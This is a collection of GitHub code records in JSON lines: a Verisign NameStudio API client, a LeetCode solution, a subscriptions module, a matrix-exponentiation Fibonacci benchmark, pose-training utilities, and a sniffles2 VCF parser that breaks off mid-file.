+{"seq_id":"22151842123","text":"import json\nimport logging\n\nimport requests\n\nfrom .utils import remove_empty\n\nlogger = logging.getLogger(__name__)\n\n\nclass NameStudioAPI(object):\n    BASE_URL = \"https://sugapi.verisign-grs.com/ns-api/2.0\"\n\n    DEFAULT_TIMEOUT_SECONDS = 5\n\n    class NameStudioAPIError(Exception):\n        def __init__(self, *args, request=None, response=None, **kwargs):\n            self.request = request\n            self.response = response\n            super().__init__(*args, **kwargs)\n\n    class HTTPTimeout(NameStudioAPIError):\n        pass\n\n    class OverQueryLimit(NameStudioAPIError):\n        pass\n\n    class UnknownError(NameStudioAPIError):\n        pass\n\n    def __init__(self, api_key, api_timeout=None):\n        self.api_key = api_key\n        self.api_timeout = int(api_timeout or self.DEFAULT_TIMEOUT_SECONDS)\n        self.session = self.build_session()\n\n    def build_session(self):\n        session = requests.Session()\n        session.headers = {\n            'X-NAMESUGGESTION-APIKEY': self.api_key,\n        }\n\n        return session\n\n    def get(self, url, params=None):\n        try:\n            response = self.session.get(\n                f\"{self.BASE_URL}{url}\",\n                params=remove_empty(params),\n                timeout=self.api_timeout\n            )\n\n        except requests.ReadTimeout as e:\n            raise self.HTTPTimeout() from e\n\n        return self.parse_response(response)\n\n    def parse_response(self, response):\n        try:\n            data = response.json()\n\n        except json.decoder.JSONDecodeError as e:\n            raise self.UnknownError(\n                request=response.request,\n                response=response\n            ) from e\n\n        error_code = data.get('code', None)\n        error_message = data.get('message', None)\n\n        if response.status_code == 429:\n            if (error_code == 999) or (error_message == 'OVER_QUERY_LIMIT'):\n                raise self.OverQueryLimit()\n\n        return data, response\n\n    def bulk_check(self, domains, tlds=None, include_registered=True):\n        params = {\n            'names': ','.join(domains),\n            'include-registered': include_registered,\n        }\n\n        data, response = self.get(\"/bulk-check\", params)\n\n        try:\n            return data['results'], response\n\n        except KeyError as e:\n            raise self.UnknownError(\n                request=response.request,\n                response=response\n            ) from e\n","repo_name":"whalesalad/verisign-namestudio","sub_path":"namestudio/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"15601702958","text":"#\n# @lc app=leetcode.cn id=66 lang=python3\n#\n# [66] 加一\n#\n# @lc code=start\nclass Solution:\n    def plusOne(self, digits: List[int]) -> List[int]:\n        index = 1\n        n = len(digits)\n        while digits[-index] == 9:\n            digits[-index] = 0\n            if index == n:\n                digits.insert(0, 1)\n                break\n            index += 1\n        else:\n            digits[-index] += 1\n        return digits\n# @lc code=end","repo_name":"kobe24167/Study","sub_path":"LeetCode/66.加一.py","file_name":"66.加一.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"16478317396","text":"import os\nfrom pydantic import Field\nfrom utils.settings import settings\nfrom .zend import zend_subscriptions\nfrom pydantic.main import BaseModel\nfrom typing import Any\nfrom datetime import datetime\n\n\nsubscription_subscribe_api = f\"{settings.zend_api}kyo/subscribe\"\nsubscription_unsubscribe_api = f\"{settings.zend_api}kyo/unsubscribe\"\n\npath = f\"{os.path.dirname(__file__)}/mocks/\"\nheaders = {\"Content-Type\": \"application/json\"}\n\n\nclass Subscription(BaseModel):\n    id: int = Field(None, example=991)\n    cycle_start: str = Field(None, example=\"2022-04-26 00:00:00+03:00\")\n    cycle_end: str = Field(None, example=\"2022-04-18 00:00:00+03:00\")\n    effective_time: str = Field(None, example=\"2022-04-18 13:12:29+03:00\")\n    expire_time: str = Field(\n        None,\n        example=\"2037-01-01 00:00:00+03:00\",\n    )\n    status: int = Field(None, example=0)\n\n    app_handling: str = \"\"\n    offer: dict = {}\n\n    def load(self, raw: dict[str, Any]):\n        self.status = int(raw.get(\"status\", 0))\n\n        self.id = raw[\"offer_id\"]\n        if \"expire_time\" in raw and raw[\"expire_time\"]:\n            self.expire_time = int(\n                datetime.fromisoformat(raw[\"expire_time\"]).timestamp()\n            )\n\n        # print(raw[\"cycle_end\"], raw[\"id\"])\n        if \"cycle_end\" in raw and raw[\"cycle_end\"]:\n            self.cycle_end = int(datetime.fromisoformat(raw[\"cycle_end\"]).timestamp())\n        self.app_handling = self.get_app_handling()\n        self.offer = self.get_offer()\n        return self\n\n    def get_offer(self) -> dict:\n        \"\"\"Placeholder for fetching CMS offer details\"\"\"\n        return {\"name\": \"Offer ABC\"}\n\n    def is_relevant(self) -> bool:\n        \"\"\"If an offer should be listed on the app\"\"\"\n        # cycle end date exists i.e., recurring or temporary offer\n        # not an expired or soon-to-be expired offer\n        # not an expired or soon-to-be expired offer\n        # print(self.id, self.cycle_end, self.status, self.expire_time)\n        # print(int(datetime.today().timestamp()))\n        # 2022-04-18 00:00:00+03:00\n        return (\n            # TODO disscuss this\n            not self.cycle_end\n            and not self.expire_time\n            and datetime.fromisoformat(self.cycle_end)\n            < datetime.fromisoformat(self.expire_time)\n            and self.status != 2\n            and self.expire_time >= int(datetime.today().timestamp())\n        )\n\n    def get_app_handling(self) -> str:\n        \"\"\"How the app should handle an offer\"\"\"\n\n        if not self.cycle_end or not self.expire_time:\n            return \"Invalid\"\n\n        if self.status == 0:\n            if self.expire_time == self.cycle_end:\n                return \"Expiring\"\n            elif self.expire_time > self.cycle_end:\n                return \"Renewing\"\n        elif self.status == 1:\n            if self.expire_time == self.cycle_end:\n                return \"Cancelled\"\n            elif self.expire_time > self.cycle_end:\n                return \"Suspended\"\n        return \"Invalid\"\n\n\ndef get_subscriptions(msisdn: str) -> list[Subscription]:\n    \"\"\"Get subscriptions for the provided msisdn\"\"\"\n    raw_subscriptions = zend_subscriptions(msisdn)\n    \"\"\"\n    [ {\n      \"id\": 991,\n      \"cycle_end\": \"2022-04-26 00:00:00+03:00\",\n      \"cycle_start\": \"2022-04-18 00:00:00+03:00\",\n      \"effective_time\": \"2022-04-18 13:12:29+03:00\",\n      \"expire_time\": \"2037-01-01 00:00:00+03:00\",\n      \"status\": 0\n    } ]\n    \"\"\"\n\n    subscriptions: list[Subscription] = []\n\n    for raw in raw_subscriptions:\n        subscription = Subscription().load(raw)\n\n        if subscription.is_relevant():\n            subscriptions.append(subscription)\n\n    # print(\"subscriptions:\", subscriptions)\n    return subscriptions\n\n\ndef redeem_registration_gift(msisdn: str) -> dict:\n    return {\"msisdn\": msisdn}\n","repo_name":"Taher-web-dev/galleon","sub_path":"backend/api/number/subscriptions.py","file_name":"subscriptions.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9407940388","text":"\"\"\"Matrix Exponentiation\"\"\"\n\nimport timeit\n\n\"\"\"\nMatrix Exponentiation is a technique to solve linear recurrences in logarithmic time.\nYou read more about it here:\nhttps://zobayer.blogspot.com/2010/11/matrix-exponentiation.html\nhttps://www.hackerearth.com/practice/notes/matrix-exponentiation-1/\n\"\"\"\n\n\nclass Matrix:\n    def __init__(self, arg):\n        if isinstance(arg, list):  # Initializes a matrix identical to the one provided.\n            self.t = arg\n            self.n = len(arg)\n        else:  # Initializes a square matrix of the given size and set values to zero.\n            self.n = arg\n            self.t = [[0 for _ in range(self.n)] for _ in range(self.n)]\n\n    def __mul__(self, b):\n        matrix = Matrix(self.n)\n        for i in range(self.n):\n            for j in range(self.n):\n                for k in range(self.n):\n                    matrix.t[i][j] += self.t[i][k] * b.t[k][j]\n        return matrix\n\n\ndef modular_exponentiation(a, b):\n    matrix = Matrix([[1, 0], [0, 1]])\n    while b > 0:\n        if b & 1:\n            matrix *= a\n        a *= a\n        b >>= 1\n    return matrix\n\n\ndef fibonacci_with_matrix_exponentiation(n, f1, f2):\n    # Trivial Cases\n    if n == 1:\n        return f1\n    elif n == 2:\n        return f2\n    matrix = Matrix([[1, 1], [1, 0]])\n    matrix = modular_exponentiation(matrix, n - 2)\n    return f2 * matrix.t[0][0] + f1 * matrix.t[0][1]\n\n\ndef simple_fibonacci(n, f1, f2):\n    # Trivial Cases\n    if n == 1:\n        return f1\n    elif n == 2:\n        return f2\n\n    fn_1 = f1\n    fn_2 = f2\n    n -= 2\n\n    while n > 0:\n        fn_1, fn_2 = fn_1 + fn_2, fn_1\n        n -= 1\n\n    return fn_1\n\n\ndef matrix_exponentiation_time():\n    setup = \"\"\"\nfrom random import randint\nfrom __main__ import fibonacci_with_matrix_exponentiation\n\"\"\"\n    code = \"fibonacci_with_matrix_exponentiation(randint(1,70000), 1, 1)\"\n    exec_time = timeit.timeit(setup=setup, stmt=code, number=100)\n    print(\"With matrix exponentiation the average execution time is \", exec_time / 100)\n    return exec_time\n\n\ndef simple_fibonacci_time():\n    setup = \"\"\"\nfrom random import randint\nfrom __main__ import simple_fibonacci\n\"\"\"\n    code = \"simple_fibonacci(randint(1,70000), 1, 1)\"\n    exec_time = timeit.timeit(setup=setup, stmt=code, number=100)\n    print(\n        \"Without matrix exponentiation the average execution time is \", exec_time / 100\n    )\n    return exec_time\n\n\ndef main():\n    matrix_exponentiation_time()\n    simple_fibonacci_time()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"TheAlgorithms/Python","sub_path":"maths/matrix_exponentiation.py","file_name":"matrix_exponentiation.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","stars":173185,"dataset":"github-code","pt":"60"}
+{"seq_id":"32314893540","text":"# Xi Peng, Feb 2017\nimport os, sys\nimport numpy as np\nfrom PIL import Image\nfrom collections import OrderedDict\nimport torch\n\nclass PoseTrainHistory():\n    \"\"\"store statuses from the 1st to current epoch\"\"\"\n    def __init__(self):\n        self.epoch = []\n        self.lr = []\n        self.losses = []\n        self.pckh = []\n        self.best_pckh = 0.\n        self.is_best = True\n\n    def update(self, epoch, lr, loss, pckh):\n        # lr, epoch, loss, rmse (OrderedDict)\n        # epoch = OrderedDict([('epoch',1)] )\n        # loss = OrderedDict( [('train_loss',0.1),('val_loss',0.2)] )\n        self.epoch.append(epoch)\n        self.lr.append(lr)\n        self.losses.append(loss)\n        self.pckh.append(pckh)\n\n        self.is_best = pckh['val_pckh'] > self.best_pckh\n        self.best_pckh = max(pckh['val_pckh'], self.best_pckh)\n\n    def state_dict(self):\n        dest = OrderedDict()\n        dest['epoch'] = self.epoch\n        dest['lr'] = self.lr\n        dest['loss'] = self.losses\n        dest['pckh'] = self.pckh\n        dest['best_pckh'] = self.best_pckh\n        dest['is_best'] = self.is_best\n        return dest\n\n    def load_state_dict(self, state_dict):\n        self.epoch = state_dict['epoch']\n        self.lr = state_dict['lr']\n        self.losses = state_dict['loss']\n        self.pckh = state_dict['pckh']\n        self.best_pckh = state_dict['best_pckh']\n        self.is_best = state_dict['is_best']\n\nclass ASNTrainHistory():\n    \"\"\"store statuses from the 1st to current epoch\"\"\"\n    def __init__(self):\n        self.epoch = []\n        self.lr = []\n        self.losses = []\n        # self.pckh = []\n        self.lowest_loss = 100.\n        self.is_best = True\n\n    def update(self, epoch, lr, loss, pckh=None):\n        # lr, epoch, loss, rmse (OrderedDict)\n        # epoch = OrderedDict([('epoch',1)] )\n        # loss = OrderedDict( [('train_loss',0.1),('val_loss',0.2)] )\n        self.epoch.append(epoch)\n        self.lr.append(lr)\n        self.losses.append(loss)\n        # self.pckh.append(pckh)\n\n        self.is_best = loss['train_loss'] < self.lowest_loss\n        self.lowest_loss = min(loss['train_loss'], self.lowest_loss)\n\n    def state_dict(self):\n        dest = OrderedDict()\n        dest['epoch'] = self.epoch\n        dest['lr'] = self.lr\n        dest['loss'] = self.losses\n        # dest['pckh'] = self.pckh\n        dest['lowest_loss'] = self.lowest_loss\n        dest['is_best'] = self.is_best\n        return dest\n\n    def load_state_dict(self, state_dict):\n        self.epoch = state_dict['epoch']\n        self.lr = state_dict['lr']\n        self.losses = state_dict['loss']\n        # self.pckh = state_dict['pckh']\n        self.lowest_loss = state_dict['lowest_loss']\n        self.is_best = state_dict['is_best']\n\nclass AverageMeter():\n    \"\"\"Computes and stores the average and current value\"\"\"\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        self.avg = self.sum / self.count\n\ndef adjust_lr(opt, optimizer, epoch):\n\n    if epoch < 100:\n        for param_group in optimizer.param_groups:\n                print(param_group['lr'])\n        return\n    elif epoch == 100:\n        opt.lr = opt.lr * 0.2\n    elif epoch == 140:\n        opt.lr = opt.lr * 0.5\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = opt.lr\n        print(param_group['lr'])\n\ndef adjust_lr_v2(opt, optimizer, epoch):\n    if epoch < 150:\n        for param_group in optimizer.param_groups:\n                print(param_group['lr'])\n        return\n    elif epoch == 150:\n        opt.lr = opt.lr * 0.2\n    elif epoch == 200:\n        opt.lr = opt.lr * 0.5\n    for param_group in optimizer.param_groups:\n        param_group['lr'] = opt.lr\n        print(param_group['lr'])\n\ndef mkdirs(paths):\n    if isinstance(paths, list) and not isinstance(paths, str):\n        for path in paths:\n            mkdir(path)\n    else:\n        mkdir(paths)\n\ndef mkdir(path):\n    if not os.path.isdir(path):\n        os.makedirs(path)\n\ndef save_image(image_numpy, image_path):\n    image_pil = Image.fromarray(image_numpy)\n    image_pil.save(image_path)\n\ndef gen_groundtruth(pred_distri, indexes, pckh_regular, pckh_agent):\n    # indexes has size of n x m, where n is the sample number\n    # and m is the augmentation indexes for a sample,\n    # for occlusion, we could multiple occlusion indexes.\n    grnd_distri = pred_distri.data.clone()\n    # print pred_distri[0], grnd_distri[0]\n    # grnd_distri[0, 0] += 1\n    # print pred_distri[0], grnd_distri[0]\n    # print 'indexes type is', type(indexes)\n    # print 'grnd_distri type is', type(grnd_distri)\n    # exit()\n    assert len(pckh_regular) == len(pckh_agent)\n    assert len(pred_distri.size())  == 2\n    increase_ratio = 0.2\n    decrease_ratio = 0.5\n    thres = (1. / pred_distri.size(1)) * 2\n    # thres = 0.3\n    # print grnd_scale_distri[0]\n    # print pred_scale_distri, grnd_scale_distri\n    for k in range(0, len(pckh_regular)):\n        # print tmp_ditri[k]\n        if pckh_regular[k] - pckh_agent[k] > 0:\n            increase = 0\n            tmp_other_indexes = range(0, len(grnd_distri[k]))\n            # print grnd_distri[k], indexes[k]\n            # flag = False\n            tmp_arr = torch.zeros(indexes.size(1))\n            for j in range(0, indexes.size(1)):\n                per_increase = increase_ratio * grnd_distri[k, indexes[k, j]]\n                # print 'per_increase type is', type(per_increase)\n                # upper bound of each probability\n                # if grnd_distri[k, indexes[k, j]] + per_increase <= thres:\n                # print indexes[k, j], per_increase\n                increase += per_increase\n                tmp_arr[j] = per_increase\n                # print increase\n                grnd_distri[k, indexes[k, j]] += per_increase\n                # else:\n                #     flag = True\n                tmp_other_indexes.remove(indexes[k, j])\n                # print tmp_other_indexes\n            # exit()\n            # print grnd_distri[k]\n            for t in tmp_other_indexes:\n                grnd_distri[k, t] -= increase / len(tmp_other_indexes)\n            # print grnd_distri[k]\n            # exit()\n                # check whether the probability is less than 0 after the deduction\n                # if grnd_distri[k, t] < 0:\n                #     grnd_distri[k, t] = 0\n            # if flag:\n            #     print pred_distri[k], increase, tmp_arr, indexes[k], grnd_distri[k], grnd_distri[k].sum()\n            #     exit()\n            # grnd_distri[k] /= grnd_distri[k].sum()\n        elif pckh_regular[k] - pckh_agent[k] <= 0:\n            decrease = 0\n            tmp_other_indexes = range(0, len(grnd_distri[k]))\n            # tmp_arr = torch.zeros(indexes.size(1))\n            # print grnd_distri[k], indexes[k]\n            for j in range(0, indexes.size(1)):\n                per_decrease = decrease_ratio * grnd_distri[k, indexes[k, j]]\n                decrease += per_decrease\n                # tmp_arr[j] = per_decrease\n                # print per_decrease, indexes[k, j]\n                # exit()\n                grnd_distri[k, indexes[k, j]] -= per_decrease\n                tmp_other_indexes.remove(indexes[k, j])\n                # print tmp_other_indexes\n            # print grnd_distri[k]\n            for t in tmp_other_indexes:\n                grnd_distri[k, t] += decrease / len(tmp_other_indexes)\n            # print pred_distri[k], indexes[k], tmp_arr, decrease, grnd_distri[k], grnd_distri[k].sum()\n            # exit()\n            # grnd_distri[k] /= grnd_distri[k].sum()\n            # print tmp_ditri[k], grnd_scale_distri[0]\n            # exit()\n        # post proprocessing, ensure no less than 0 and no larger than threshold\n        larger_thres_part = 0\n        less_zeros_part = 0\n        no_larger_thres_indexes = range(0, len(grnd_distri[k]))\n        no_less_zero_indexes = range(0, len(grnd_distri[k]))\n        for t in range(0, len(grnd_distri[k])):\n            if grnd_distri[k, t] > thres:\n                tmp_excess = grnd_distri[k, t] - thres\n                larger_thres_part += tmp_excess\n                grnd_distri[k, t] = thres\n                no_larger_thres_indexes.remove(t)\n            elif grnd_distri[k, t] < 0:\n                less_zeros_part += grnd_distri[k, t]\n                grnd_distri[k, t] = 0\n                no_less_zero_indexes.remove(t)\n        gap = larger_thres_part + less_zeros_part\n        if gap > 0:\n            avg_gap = gap / len(no_larger_thres_indexes)\n            # print larger_thres_part, less_zeros_part, gap, avg_gap\n            for t in no_larger_thres_indexes:\n                    grnd_distri[k, t] += avg_gap\n        elif gap < 0:\n            avg_gap = gap / len(no_less_zero_indexes)\n            for t in no_less_zero_indexes:\n                    grnd_distri[k, t] += avg_gap\n                    if grnd_distri[k, t] < 0:\n                        grnd_distri[k, t] = 0\n        grnd_distri[k] /= grnd_distri[k].sum()\n\n    grnd_distri = torch.autograd.Variable(grnd_distri, requires_grad=False)\n    return grnd_distri\n\ndef save_drop_count(drop_count, lost_joint_count_path):\n    # print(drop_count)\n    total_count = 0\n    for k in drop_count:\n        total_count += drop_count[k]\n    # print(total_count)\n    zero_pos_neg = {'zero': 0, 'pos': 0, 'neg': 0}\n    total_count = float(total_count)\n    for k in drop_count:\n        drop_count[k] = drop_count[k] / total_count\n        if k == 0:\n            zero_pos_neg['zero'] += drop_count[k]\n        elif k > 0:\n            zero_pos_neg['pos'] += drop_count[k]\n        else:\n            zero_pos_neg['neg'] += drop_count[k]\n    # print(drop_count)\n    msg = ''\n    for k, v in drop_count.items():\n        msg += '%d: %.3f\\t' % (k, v)\n    msg += 'total: %d\\t' % total_count\n    msg += '\\n'\n    for k, v in zero_pos_neg.items():\n        msg += '%s: %.3f\\t' % (k, v)\n    msg += '\\n'\n    print(msg)\n    with open(lost_joint_count_path, 'a+') as count_file:\n        count_file.write(msg)\n\n","repo_name":"zhiqiangdon/pose-adv-aug","sub_path":"utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":10124,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"60"}
+{"seq_id":"5485987473","text":"#!/usr/bin/env python3\n\n# Script parse sniffles2 vcf files and extract useful information\n# USAGE:  cat sv_file.vcf | python3 sniffles2_vcf_parser.py\n\n\n# important imports\nimport sys\nimport argparse\nimport random\n\n\n# Version\ndef the_version():\n    print(f'sniffles2_vcf_parser.py\\nversion 0.1')\n\n# log output\ndef logger(text, logtype=\"\"):\n    if logtype == \"warn\":\n        sys.stderr.write(\"[WARNING] %s\\n\" % (text))\n    elif logtype == \"dev\":\n        sys.stderr.write(\"[DEV] %s\\n\" % (text))\n    elif logtype == \"error\":\n        sys.stderr.write(\"[ERROR] %s\\n\" % (text))\n        sys.exit(\"Program stopped.\")\n    else:\n        sys.stdout.write(\"[INFO] %s\\n\" % (text))\n\n# vcf header class\nclass vcf_header(object):\n    # init\n    def __init__(self, input_line):\n        # vcf files have 9 fields + the indiviuals data\n        # split and analysis\n        self.VCF_MANDATORY_FIELDS = 9 # not counting individuals genotype\n        tab_sep_fields = input_line.split(\"\\t\")\n        self.ERROR = len(tab_sep_fields) < self.VCF_MANDATORY_FIELDS   # 9 VCF fields + genotypes\n        if not self.ERROR:\n            #extract indiviual(s): 1 -> n\n            self.SAMPLES = tab_sep_fields[self.VCF_MANDATORY_FIELDS:]\n        else:\n            self.SAMPLES = \"\"\n\n    def get_sample_name(self, svector, gt_vector=[], id2fam={}):\n        all_names = []\n        # extract names\n        if len(gt_vector) > 0:\n            for idx in range(0, len(self.SAMPLES)):\n                supp=svector[idx]\n                sname=self.SAMPLES[idx]\n                gt_smp=gt_vector[idx]\n                if supp == \"1\":\n                    fmemb = \"\"\n                    if sname in id2fam:\n                        fmemb = id2fam[sname]\n                    all_names.append(f'{sname}({gt_smp}){fmemb}')\n        else:\n            for sname, supp in zip(self.SAMPLES, list(svector)):\n                if supp == \"1\":\n                    all_names.append(sname)\n        # make names vector into string\n        if len(all_names) == 1:\n                return all_names[0]\n        else:\n            return \", \".join(all_names)\n\n    def get_sample_name_famtrio(self, gt_vector, id2fam):\n        all_names = []\n        fam_occurrence = {}\n        # extract names\n        if len(gt_vector) > 0:\n            for sname, gt_smp in zip(self.SAMPLES, gt_vector):\n                fmemb = \"\"\n                if sname in id2fam:\n                    fmemb = id2fam[sname]\n                    fam_occurrence[fmemb] = gt_smp\n                all_names.append(f'{sname}')\n            # make names vector into string\n            return [\", \".join(all_names), fam_occurrence]\n        else:\n            # no info\n            return [\"\", {}]\n\n\n# vcf line class\nclass vcf_line(object):\n    # init\n    def __init__(self, input_line):\n        # save the original\n        self.svline = input_line\n        # vcf files have 9 fields + the genotype data from the analyzed genome\n        # we expect a single sample in this VCF file, for population there is another class\n        # split and analysis\n        self.VCF_MANDATORY_FIELDS = 9\n        tab_sep_fields = input_line.split(\"\\t\")\n        self.ERROR = len(tab_sep_fields) < self.VCF_MANDATORY_FIELDS   # 9 VCF fields + genotype\n        if not self.ERROR:\n            #extract mandatory fileds\n            [self.CHROM, POS, self.ID, REF, ALT, QUAL, self.FILTER, self.INFO, FORMAT] = tab_sep_fields[:self.VCF_MANDATORY_FIELDS]\n            self.POS = int(POS)\n            self.AF = -1\n            self.GENOTYPE = \"\"\n            self.get_genotype(tab_sep_fields, FORMAT)\n            self.get_parsed_info()\n            self.AF = self.DV/(self.DR+self.DV) if (self.AF == -1 and self.DR+self.DV > 0) else self.AF\n            self.TRA = \"\" if self.SVTYPE != \"BND\" else ALT\n            self.SVLEN = int(self.SVLEN) if self.SVTYPE != \"BND\" else self.SVLEN\n\n    def get_genotype(self, tab_sep_fields, FORMAT):\n        # FORMAT field and genotype extraction\n        ##FORMAT=<ID=DR,Number=1,Type=Integer,Description=\"# high-quality reference reads\">\n        ##FORMAT=<ID=DV,Number=1,Type=Integer,Description=\"# high-quality variant reads\">\n        ## AF : Allele frequency. AF can be in FORMAT or INFO :(\n        ## DP : Depth\n        extract_genotype_info = [\"GT\", \"DR\", \"DV\", \"AF\", \"DP\"]\n        self.DR = 0\n        self.DV = 0\n        self.DP = 0\n        if \":\" in FORMAT:\n            # indiviuals in the vcf file\n            gt_format_list = FORMAT.split(\":\")\n            gt_list = tab_sep_fields[self.VCF_MANDATORY_FIELDS].split(\":\")\n            for frmt_field, sv_gt in zip(gt_format_list, gt_list):\n                self.GENOTYPE = sv_gt if frmt_field == \"GT\" else self.GENOTYPE\n                self.AF = float(sv_gt) if frmt_field == \"AF\" else self.AF\n                self.DR = int(sv_gt) if frmt_field == \"DR\" else self.DR\n                self.DV = int(sv_gt) if frmt_field == \"DV\" else self.DV\n                self.DP = int(sv_gt) if frmt_field == \"DP\" else self.DP\n        else:\n            self.GENOTYPE = tab_sep_fields[self.VCF_MANDATORY_FIELDS]\n\n    def get_parsed_info(self):\n        # INFO field extraction\n        # interested in SVTYPE=<STRING>;SVLEN=<SIGNED INT>;...;RE=<INT>\n        ##INFO=<ID=AC,Number=.,Type=Integer,Description=\"Allele count, summed up over all samples\">\n        ##INFO=<ID=AF,Number=1,Type=Float,Description=\"Allele Frequency\">\n        ##INFO=<ID=SUPPORT,Number=1,Type=Integer,Description=\"Number of reads supporting the structural variation\">\n        ##INFO=<ID=RE,Number=1,Type=Integer,Description=\"read support\">\n        # SUPP=2;SUPP_VEC=11;SVLEN=293;SVTYPE=INS;SVMETHOD=SURVIVOR1.0.7;CHR2=chr1;END=136556;CIPOS=0,380;CIEND=0,527;STRANDS=+-\n        extract_info = [\"SVLEN\", \"SVTYPE\", \"SUPP_VEC\", \"AF\", \"AC\", \"SUPPORT\", \"RE\"]\n        self.REF_COUNT = 0\n        self.ALT_COUNT = 0\n        self.SUPPORT = 0\n        self.SVLEN = \".\"\n        self.SVTYPE = \"\"\n        self.SUPP_VEC = \"\"\n        if \";\" in self.INFO:\n            for each_info in self.INFO.split(\";\"):\n                if \"=\" in each_info:\n                    try:\n                        [key, val] = each_info.split(\"=\")\n                    except:\n                        logger(each_info, \"warn\")\n                    self.SUPPORT = int(val) if (key == \"SUPPORT\" or key == \"RE\") else self.SUPPORT\n                    self.SVLEN = val if key == \"SVLEN\" else self.SVLEN\n                    self.SVTYPE = val if key == \"SVTYPE\" else self.SVTYPE\n                    self.SUPP_VEC = val if key == \"SUPP_VEC\" else self.SUPP_VEC\n                    self.AF = float(val) if key == \"AF\" else self.AF\n                    if key == \"AC\" and \",\" in val:\n                        [tmpREF, tmpALT] = val.split(\",\")\n                        self.REF_COUNT = int(tmpREF)\n                        self.ALT_COUNT = int(tmpALT)\n                        self.DP = self.REF_COUNT + self.ALT_COUNT\n                        self.AF = self.ALT_COUNT / (self.REF_COUNT + self.ALT_COUNT)\n\n    def sv_print(self):\n        print(self.svline, end=\"\\n\")\n\n\n# vcf line class for population file\nclass vcf_line_pop(object):\n    # init\n    def __init__(self, input_line):\n        # save the original\n        self.svline = input_line\n        # vcf files have 9 fields + the indiviuals data\n        # split and analysis\n        self.VCF_MANDATORY_FIELDS = 9\n        tab_sep_fields = input_line.split(\"\\t\")\n        self.ERROR = len(tab_sep_fields) < self.VCF_MANDATORY_FIELDS   # 9 VCF fields + genotypes\n        if not self.ERROR:\n            #extract mandatory fileds\n            [self.CHROM, POS, self.ID, REF, ALT, QUAL, FILTER, self.INFO, FORMAT] = tab_sep_fields[:self.VCF_MANDATORY_FIELDS]\n            self.POS = int(POS)\n            self.GENOTYPE = \"\"\n            self.get_genotype(tab_sep_fields, FORMAT)\n            self.get_parsed_info()\n            self.TRA = \"\" if self.SVTYPE != \"BND\" else ALT\n            self.SVLEN = int(self.SVLEN) if self.SVTYPE != \"BND\" else 1\n            self.END = int(self.END) if self.SVTYPE != \"BND\" else self.POS+1\n\n    def get_genotype(self, tab_sep_fields, FORMAT):\n        # FORMAT field and genotype extraction\n        # Always used FORMAT fields\n        # use FORMAT duhh!!!\n        self.all_GT = []\n        if \":\" in FORMAT:\n            # indiviuals in the vcf file\n            split_format = FORMAT.split(\":\")\n            for each_gt in tab_sep_fields[self.VCF_MANDATORY_FIELDS:]:\n                split_gt = each_gt.split(\":\")\n                for gtf,sv_gt in zip(split_format, split_gt):\n                    if gtf == \"GT\":\n                        # cant avoid ./. :(\n                        self.all_GT.append(sv_gt)\n                    else:\n                        pass\n            use_gt = \"\"\n            for gt in self.all_GT:\n                if use_gt == \"\":\n                    # first case\n                    use_gt = gt\n                elif use_gt == \"./.\" and gt != \"./.\":\n                    # avoid not determined\n                    use_gt = gt\n                elif use_gt == \"0/0\" and (gt != \"0/0\" and gt != \"./.\"):\n                    # not ref homozygous\n                    use_gt = gt\n                elif use_gt == \"0/1\" and (gt == \"1/1\" and gt != \"0/0\" and gt != \"./.\"):\n                    # not ref homozygous\n                    use_gt = gt\n                else:\n                    # 0/0 -> 0/0 and 0/1 -> 0/1\n                    pass\n            self.GENOTYPE = use_gt\n\n        else:\n            self.GENOTYPE = tab_sep_fields[self.VCF_MANDATORY_FIELDS]\n\n    def get_parsed_info(self):\n        # INFO field extraction\n        # interested in SVTYPE=<STRING>;SVLEN=<SIGNED INT>;...;RE=<INT>\n        ##INFO=<ID=AC,Number=.,Type=Integer,Description=\"Allele count, summed up over all samples\">\n        ##INFO=<ID=AF,Number=1,Type=Float,Description=\"Allele Frequency\">\n        ##INFO=<ID=SUPPORT,Number=1,Type=Integer,Description=\"Number of reads supporting the structural variation\">\n        ##INFO=<ID=RE,Number=1,Type=Integer,Description=\"read support\">\n        # SUPP=2;SUPP_VEC=11;SVLEN=293;SVTYPE=INS;SVMETHOD=SURVIVOR1.0.7;CHR2=chr1;END=136556;CIPOS=0,380;CIEND=0,527;STRANDS=+-\n        extract_info = [\"SVLEN\", \"SVTYPE\", \"END\", \"SUPP\", \"SUPP_VEC\"]\n        self.SVLEN = \".\"\n        self.SVTYPE = \"\"\n        self.SUPP = \"\"\n        self.SUPP_VEC = \"\"\n        self.END = \"\"\n        if \";\" in self.INFO:\n            for each_info in self.INFO.split(\";\"):\n                if \"=\" in each_info:\n                    try:\n                        [key, val] = each_info.split(\"=\")\n                    except:\n                        logger(each_info, \"warn\")\n                    self.SVLEN = val if key == \"SVLEN\" else self.SVLEN\n                    self.SVTYPE = val if key == \"SVTYPE\" else self.SVTYPE\n                    self.SUPP = val if key == \"SUPP\" else self.SUPP\n                    self.SUPP_VEC = val if key == \"SUPP_VEC\" else self.SUPP_VEC\n                    self.END = val if key == \"END\" else self.END\n\n    def sv_print(self):\n        print(self.svline, end=\"\\n\")\n\n\ndef get_genotype_sv(args):\n    if args.only_genotype:\n        print(f'#GENOTYPE\\tCOUNT', end=\"\\n\")\n    else:\n        print(f'#CHROM\\tPOSITION\\tGENOTYPE\\tSVTYPE\\tSVLEN\\tCOVERAGE\\tAF\\tREF\\tALT', end=\"\\n\")\n    gt_dict = {}\n    gt_filter = [] if args.filer_gt == \"\" else args.filer_gt.split(\",\")\n    for line in sys.stdin:\n        # skip comments\n        if not line.startswith(\"#\"):\n            vcf_entry = vcf_line(line.rstrip(\"\\n\"))\n            gt = vcf_entry.GENOTYPE\n            if gt not in gt_filter:\n                if args.only_genotype:\n                  